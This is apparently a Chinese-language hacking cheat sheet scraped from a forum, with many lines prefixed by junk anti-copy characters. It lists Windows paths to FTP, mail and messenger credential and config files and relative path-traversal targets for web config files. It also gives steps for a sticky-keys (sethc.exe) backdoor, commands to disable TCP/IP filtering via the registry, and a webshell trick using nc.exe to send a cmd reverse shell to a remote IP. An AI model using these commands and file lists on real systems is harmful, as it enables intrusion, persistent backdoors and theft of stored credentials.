* j4 X0 U& H  S$ d9 @5 Nc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
: b2 l3 Y- Q2 [) q+ d! ~# b. sc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
' j# u# [* u/ }4 d- E8 `1 B2 Xc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
  J2 H' g& s2 i$ }C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
$ B$ B) o7 t3 `6 M; J+ A/usr/tomcat6/bin/startup.sh
2 D, p8 q. i" F6 E* Q& Vc:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
" R( l* A. m1 {) B6 h8 r' ~c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
/ B' }% X) X: d2 ~c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
$ A! |* o1 c$ gC:\Program Files\Foxmal\Foxmail.exe
8 h3 @; W. c; P. W9 P4 l4 c- yC:\Program Files\Foxmal\accounts.cfg
# H' A; b) A. j8 K. H5 ]C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
: w' r- _4 P0 Z& `3 V9 rc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
5 A/ p" c5 v$ i  F) c4 {; ]c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
& ?7 d' I. E- b' sC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
1 c) }! R; A; }+ Q# q+ E5 gc:\Program Files\腾讯游戏\QQGAME\readme.txt
: D  ]) I" _0 w) ^0 N8 Fc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
: C1 N& z+ }4 |# K4 xc:\Program Files\tencent\QQGAME\readme.txt
7 \: I0 g* K$ A4 TC:\Program Files\StormII\Storm.exe
8 W0 t/ x  A# R/ U1 Z: \
9 }+ g- s+ M' u6 F) M3.网站相对路径:

4 x3 w, z$ @5 J: z/ P/config.php
: ~! G9 w6 w7 m: Y' S../../config.php
../config.php
../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
6 w  K- a! h. D6 v../config.inc.php
../../../config.inc.php
& x0 u) O9 O% i/conn.php
./conn.php
../../conn.php
. n4 U) \8 }( ^8 B3 l../conn.php
../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
../conn.asp
" [& u# [. B5 Z- {, L0 J5 j../../../conn.asp
6 q, k+ ^/ }  a$ B. w$ {/config.inc.php
: w& h! |" U5 A% G./config.inc.php
$ V& J5 v5 |8 c4 }../../config.inc.php
% q3 J" v0 w, i2 x../config.inc.php
../../../config.inc.php
. `  Q% r& N: x3 c/ v" |/config/config.php
../../config/config.php
../config/config.php
! M1 o) C  d' t, ], Y" m" p; X9 w../../../config/config.php
0 N$ f& Z* ^" j5 [+ |9 J/config/config.inc.php
' q: v) `# b6 K# Q/ s./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
9 O$ X/ R% h/ X' w0 d0 U. ]# H../../../config/config.inc.php
/config/conn.php
& g( Z2 g2 s: P0 b, q0 N. w: L' }./config/conn.php
../../config/conn.php
0 B: J- M1 W+ C../config/conn.php
../../../config/conn.php
/config/conn.asp
+ M2 t) i+ Y6 I. I  G, X. X6 i./config/conn.asp
; t4 @) @$ X" N8 ~: m../../config/conn.asp
: w4 g4 l% @: b) a. U' O! G../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
/ a& L1 h; a9 ]" }- @* y' x! f8 T./config/config.inc.php
  o$ ]4 A3 o6 u% X$ k../../config/config.inc.php
../config/config.inc.php
) H$ N+ a+ U3 [& }9 X5 A& c../../../config/config.inc.php
+ |- x2 ~4 [8 b. d( m8 g; y/data/config.php
  |' ^# y! ]2 U5 T2 u/ q1 ]../../data/config.php
0 [$ _2 U# @9 q- T# `; F../data/config.php
; {" `) _6 ~0 I. Q5 u/ w../../../data/config.php
$ t" V0 [2 B' L; i6 ?/data/config.inc.php
( |3 Z- t" r' v" P8 u' `9 M# C./data/config.inc.php
* j8 J2 `# o; ^5 b, B1 g../../data/config.inc.php
../data/config.inc.php
4 \0 E" p( G3 j( Z* i& _../../../data/config.inc.php
8 x; h7 g9 ^6 U5 f5 T5 i+ l/data/conn.php
  q( C' Z$ W) {( ^4 L" U2 k4 g./data/conn.php
../../data/conn.php
../data/conn.php
../../../data/conn.php
! ?9 E) s- K. R3 t/data/conn.asp
- M7 h" |9 m" H! S; b$ Z./data/conn.asp
../../data/conn.asp
' H# q3 |. [/ r* K* S- u3 Y1 O8 v9 E4 A../data/conn.asp
../../../data/conn.asp
4 j2 T8 S3 Y% o4 Y0 Y9 |/data/config.inc.php
- Z+ z3 R2 T2 `* q( n. M, `7 k./data/config.inc.php
# V4 D- C+ v% v6 ]4 r../../data/config.inc.php
../data/config.inc.php
: c; }; }8 N! s+ v( y, X& ~% g../../../data/config.inc.php
/include/config.php
, i3 a; l4 \! k7 J0 h/ h../../include/config.php
../include/config.php
../../../include/config.php
, @# D% }" T& B+ T2 u: D' u) W' M/include/config.inc.php
./include/config.inc.php
0 C% z& b+ Y7 ], P) g; ?2 G3 T../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
& }6 w0 J. _6 |% e8 s* U./include/conn.php
../../include/conn.php
$ I1 ^* i! N  I9 h% a) u../include/conn.php
../../../include/conn.php
/include/conn.asp
./include/conn.asp
../../include/conn.asp
../include/conn.asp
4 l: ?" b8 Z+ P+ |+ B1 j../../../include/conn.asp
( i# R) M+ D( L5 Z$ ]# p+ J/ i% c' s/include/config.inc.php
; ?2 r9 ?2 D* u& q) l./include/config.inc.php
, u1 i+ F+ ?/ R# |. e7 B* v../../include/config.inc.php
6 k' U  O. M  u: t( }9 o../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
../../inc/config.php
../inc/config.php
; e2 o; T% s: }$ M! T../../../inc/config.php
) g* p0 w! f4 u' r$ n5 s; c/inc/config.inc.php
/ ^5 L+ t/ u3 h./inc/config.inc.php
  k! ^7 R  z. \../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
% I- l- f; t4 V3 N# e& G# V* r/inc/conn.php
' r, j' O8 f6 k* P; J7 r" S./inc/conn.php
& i$ \7 u& n- R$ W1 s  S) q../../inc/conn.php
: B0 m6 m, u; R' B../inc/conn.php
& H0 O/ m) \, _, x../../../inc/conn.php
% Z7 ^+ P. x8 D2 Q' d* _/inc/conn.asp
0 n3 M( C2 n4 D* l" g/ C0 w& h./inc/conn.asp
../../inc/conn.asp
1 m5 l' m) r) E+ D2 g../inc/conn.asp
6 Y4 ^3 _, w1 `& y, o% o../../../inc/conn.asp
* e! o* u/ ]+ c- B$ J2 ~4 W1 F2 M/inc/config.inc.php
./inc/config.inc.php
; |6 k1 b8 n- i! w5 R( ?  T../../inc/config.inc.php
  g; q5 E, p/ `. d( E0 c* ~../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
! ^0 S, v: y& z../../index.php
9 e2 f( s6 t2 ]8 Q8 V: Y) V0 m../index.php
" Z0 o" {! c, L/ v0 ^+ ^% C../../../index.php
/index.asp
./index.asp
../../index.asp
' q* k  b/ J0 `9 I' F4 G- [../index.asp
../../../index.asp
- l$ `) r1 k. m) A) n替换SHIFT后门
% ^& l( x- }. {* j# w　attrib c:\windows\system32\sethc.exe -h -r -s
6 K- E7 _$ l" @3 x- W! E" r
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
- h8 m1 ?7 I) M
　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

2 D) F+ c  ^+ s* p　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s
' f# x% {4 b3 ~
& B* k( x) i8 t; W: |7 E　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
' b' `% x1 T1 l7 v去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
2 g( ~! j5 |. {+ M/ j- G! CHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
8 q! d- @* Y: T* U3 o0 qHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
6 V6 I. B# }5 z: C. [- ?/ t
6 e9 @0 x. ?5 O分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
( s1 q: U5 {  C# [/ s! i7 I, ?regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
  p1 k0 S& a6 G4 iregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项
2 a- P$ T6 U- j( E8 \7 g
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
5 x9 m7 ^: w) `/ I/ j7 w
再将以上三个文件分别用
regedit -s D:\a.reg
+ I5 C1 Y# K2 t1 |2 `regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可
9 F, ]9 `- M3 }% g, X* S
) _& H* P: }: V7 q) L3 \webshell提权小技巧
cmd路径:
) v1 T7 S9 P$ Xc:\windows\temp\cmd.exe
$ G3 M4 M% {! B' F' b' n" knc也在同目录下
; U6 u  Y" i/ Y例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
' K$ k( l* a$ _/ [0 w命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
9 I3 [: P1 X1 d% z却能成功。。
8 u4 t+ \. w0 m4 V8 G) g( e# o这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功